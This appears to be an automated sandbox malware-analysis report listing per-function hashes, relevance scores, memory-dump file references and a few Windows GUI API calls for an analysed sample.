Opcode ID: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction ID: 150ccba2a48775f81be42f664f8417cc34ce46d94a69c0e42faafa6df099aab6
Opcode Fuzzy Hash: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction Fuzzy Hash: DB62E471604B859FCB29CF28C8906B9BBE1AF55304F08C56DD8EE8B746F630E945CB21

Function 00D770BF Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction ID: f726aa7bba9ff808f0f2bd6e1fdd34473ddb605fd9b409105fdb66bb6ee09004
Opcode Fuzzy Hash: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction Fuzzy Hash: 3362F5716087469FC719CF28C8805B9BBE1FF55308F18CA6DD9AA87742E730E955CBA0

Function 00D6ED14 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction ID: ea63d88f9444cb57e6b976ae3fd9d6c71142995ffda33a6cb29d3754c43c7eb2
Opcode Fuzzy Hash: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction Fuzzy Hash: 7F523B726087018FC718CF19C891A6AF7E1FFCC314F498A2DE9859B255D734EA19CB86

Function 00D76A7B Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc41a1fc6c95f482f536f96e65c42274d6619f7d88c5f693da2215ca6c1be95a
Instruction ID: 678bb9839278bcab6b81b35d84cb3d9abea813beecab87c31aa293114a7238d4
Opcode Fuzzy Hash: bc41a1fc6c95f482f536f96e65c42274d6619f7d88c5f693da2215ca6c1be95a
Instruction Fuzzy Hash: 2012C1B1604B068BC729CF28C9906B9B7E0FF54304F14892EE59BC7A81F774E895CB65

Function 00D6BE13 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5c43bc3a218cddba2359f7acf0209bd7372746a69d24ea2e5d569339ca1fc6
Instruction ID: 468ca1a6fb56c4cdc34fa9661933b9d28c2d8b62a971adaeebb9a6154522a667
Opcode Fuzzy Hash: 8b5c43bc3a218cddba2359f7acf0209bd7372746a69d24ea2e5d569339ca1fc6
Instruction Fuzzy Hash: E8F1B872A183019FC718CF28C480A6ABBE1EFC9314F189A2EF4D5D7356D731E9458B66

Function 00D80B43 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 07f7b2daf14ac1c56ec18d990d43ccbc9b507e900b37e18b8e32e7ed8a7f7632
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: CBC191362150930ADBAD9639893413FBEA15AA27B131E476DE4B2CB1D4FE20D52CDB30

Function 00D80F78 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 495724cef56a9521877b276c9ce9f33af1ef92b149d1bec7263280a5d1799371
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 4FC1B23A2051930ADF6D963A893413FBEA55AA27B131E476DD4B2CB0D4FE20D52DD730

Function 00D8070E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 9389eac50049a795bf6f4fe7bb8af66408a656aec7ca4071dcf2839f5a031b51
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: A6C171362051930ADFAD963A893403FBEA15EA27B131E476DD4B2CB1D5FE20D568DB30

Function 00D76646 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fd8fd53703ffbbeca3cadd7c01651d184e10ee3bc4151d6ea90c7eeeb0ab5d04
Instruction ID: 087d870411c85c13f9d1a8a53ff0eeeb7b84996a26cf0a8eddefa109c07e82b2
Opcode Fuzzy Hash: fd8fd53703ffbbeca3cadd7c01651d184e10ee3bc4151d6ea90c7eeeb0ab5d04
Instruction Fuzzy Hash: 14D1E8B1A047419FDB14CF29C88075BBBE0EF55308F08856DE9889B642F734E959CBB6

Function 00D802F6 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: a2f82fc8e0acc32253b289956a69f6cad2248f0b63c7c4395400e64bb1076a0c
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 32C172362051530ADFAD963A893443FBEA15AA27B131E476DD4B3CB1D5FE20D52C9B30

Function 00D6E2A0 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1428deffa6984c92ec5535c290b8c298f18518b12d82b0f576b648dfde769787
Instruction ID: 5741f5c3696733da38532c265d8bc77c6193aad1722d5b9e5000805485ad7b2c
Opcode Fuzzy Hash: 1428deffa6984c92ec5535c290b8c298f18518b12d82b0f576b648dfde769787
Instruction Fuzzy Hash: 7EE125755183948FC304CF29D89096ABBF0AB8A300F89495EF5D597352C336EA19DBA2

Function 00D73A3C Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction ID: 1e561dbafe7d568d588f799c92c1f2332051568632527608a8de31fc2cda647d
Opcode Fuzzy Hash: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction Fuzzy Hash: 6B9159702047498BDB24EF68C891BBA73D5EB90300F14892DE5DB97282FB75E644E772

Function 00D84969 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0604bb4a8f23f926a160cfd35d382adfc379e015f8e01dbb5384d125c457e20a
Instruction ID: 761e992651c9bad772a5712114f4be5ee57024c388b36501b70b26f783e20a33
Opcode Fuzzy Hash: 0604bb4a8f23f926a160cfd35d382adfc379e015f8e01dbb5384d125c457e20a
Instruction Fuzzy Hash: 19617B7168070B66DE3CBB689955BBF3388EB41708F1C0A1EE482DF281D651ED41CB79

Function 00D73D6D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction ID: 7b4effc43ac90b89148bca7c8673c8f967c71b35b345baa5445a8e0991a57db8
Opcode Fuzzy Hash: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction Fuzzy Hash: 307109716043454BDB24DE2CC8D1BAD77E5EF90304F14892DF5CE8B282EA74DA85A772

Function 00D8473A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction ID: ea84340925cbfda5f83fcf2874f3ef76a9d02cc8e21e1ec425dcf65d9c2b37e5
Opcode Fuzzy Hash: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction Fuzzy Hash: D6514670600A8757DB38BA688C96BBF67E9DF53740F1C050AE982D7282D715DD4183F6

Function 00D6DE6C Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d65a23461cae5fff06dcc849696fd1175a4bcb9e605ce029d233f7147406de8
Instruction ID: 55827935485201de1601623e6c863c2038d2f6e59799cce5b59b0d4990b68021
Opcode Fuzzy Hash: 5d65a23461cae5fff06dcc849696fd1175a4bcb9e605ce029d233f7147406de8
Instruction Fuzzy Hash: D1816B8261A7E49ECB168F7D3CA42B63FA15733340B1D04AAD4C6C63A7C5768A5CD732

Function 00D6E8A0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd10b8fc9c2f00d492befa88c85af2b4b551af793686b60ebea4a6c9efc4ff98
Instruction ID: f8f6ebeff83f92489f511fd59f549a923aaf2d37bd0de760ca642ae1e870f9d2
Opcode Fuzzy Hash: bd10b8fc9c2f00d492befa88c85af2b4b551af793686b60ebea4a6c9efc4ff98
Instruction Fuzzy Hash: 0751BD399093D54FC712CF28918446EBFE1BEDA314F4949AEE4D54B202D2219A4ACBB2

Function 00D6F968 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1227bc1bff9f3f868f5cc2cc592a9f0ffdd4088815146ff8d75b2722076a08d
Instruction ID: f994ac7a3ee8c088cea3d86e93a97271e4516de0f6fcae3a0ab95eb7f3b5a73e
Opcode Fuzzy Hash: c1227bc1bff9f3f868f5cc2cc592a9f0ffdd4088815146ff8d75b2722076a08d
Instruction Fuzzy Hash: 4C512671A087018BC748CF19E48059AF7E1FF88354F058A2EE899A7740DB34E959CB9A

Function 00D737C1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: ae16ce1cd614ca71722769187c7ade3dcf0d25caa28933dd137fb35797abfe8c
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: 4D31D6B26147468FCB14DF28C85126ABBE0FB95300F14892DE4D9D7742D735EA4ACBB2

Function 00D65F3C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f674de958fe111ea427ecd683d52feb57c3047b0d6d51059acc2d6b73229c9f1
Instruction ID: 02df76f528a1aa2d6afbef9a676f342bbc11b593aaf4349d6a992191c5eb7894
Opcode Fuzzy Hash: f674de958fe111ea427ecd683d52feb57c3047b0d6d51059acc2d6b73229c9f1
Instruction Fuzzy Hash: B3218A72A202654BCB48CF2EEC904767751AB8631174A812BFA46CB3D5C535ED65C7B0

Function 00D6DA98 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D6DABE

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

Part of subcall function 00D71596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00DA0EE8,00000200,00D6D202,00000000,?,00000050,00DA0EE8), ref: 00D715B3

_strlen.LIBCMT ref: 00D6DADF
SetDlgItemTextW.USER32(?,00D9E154,?), ref: 00D6DB3F
GetWindowRect.USER32(?,?), ref: 00D6DB79
GetClientRect.USER32(?,?), ref: 00D6DB85
GetWindowLongW.USER32(?,000000F0), ref: 00D6DC25
GetWindowRect.USER32(?,?), ref: 00D6DC52
SetWindowTextW.USER32(?,?), ref: 00D6DC95
GetSystemMetrics.USER32(00000008), ref: 00D6DC9D
GetWindow.USER32(?,00000005), ref: 00D6DCA8
GetWindowRect.USER32(00000000,?), ref: 00D6DCD5
GetWindow.USER32(00000000,00000002), ref: 00D6DD47

Strings

CAPTION, xrefs: 00D6DC77
$%s:, xrefs: 00D6DAB2
d, xrefs: 00D6DBA5

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
